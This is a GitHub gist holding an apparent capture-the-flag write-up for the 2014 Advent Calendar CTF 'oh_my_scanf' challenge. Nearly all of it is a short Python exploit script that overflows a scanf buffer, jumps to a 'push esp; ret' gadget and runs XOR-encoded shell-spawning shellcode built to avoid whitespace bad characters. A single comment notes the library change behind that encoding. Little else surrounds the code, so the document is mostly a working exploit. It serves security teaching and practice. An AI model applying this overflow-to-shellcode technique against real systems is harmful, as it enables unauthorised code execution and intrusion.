Skip to content

Instantly share code, notes, and snippets.

@inaz2
Last active August 29, 2015 14:15
Show Gist options
  • Save inaz2/18d44ae9643d4da5f156 to your computer and use it in GitHub Desktop.
Save inaz2/18d44ae9643d4da5f156 to your computer and use it in GitHub Desktop.
writeup of Advent Calendar CTF 2014 oh_my_scanf http://adctf2014.katsudon.org/
from roputils import *
p = Proc('./oh_my_scanf')
#p = Proc(host='pwnable.katsudon.org', port=32100)
sc = Shellcode('i386')
buf = 'A' * 28
buf += p32(0x80483e0) # push esp; ret
buf += sc.xor(sc.exec_shell(), '\t\n\v\f\r ') # elliminate white-space characters for scanf("%s") attack
p.read()
p.writeline(buf)
p.wait(0)
@inaz2
Copy link
Author

inaz2 commented Feb 23, 2015

Shellcode.xor(): find key not to contain badnchars
inaz2/roputils@3f83ec9

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment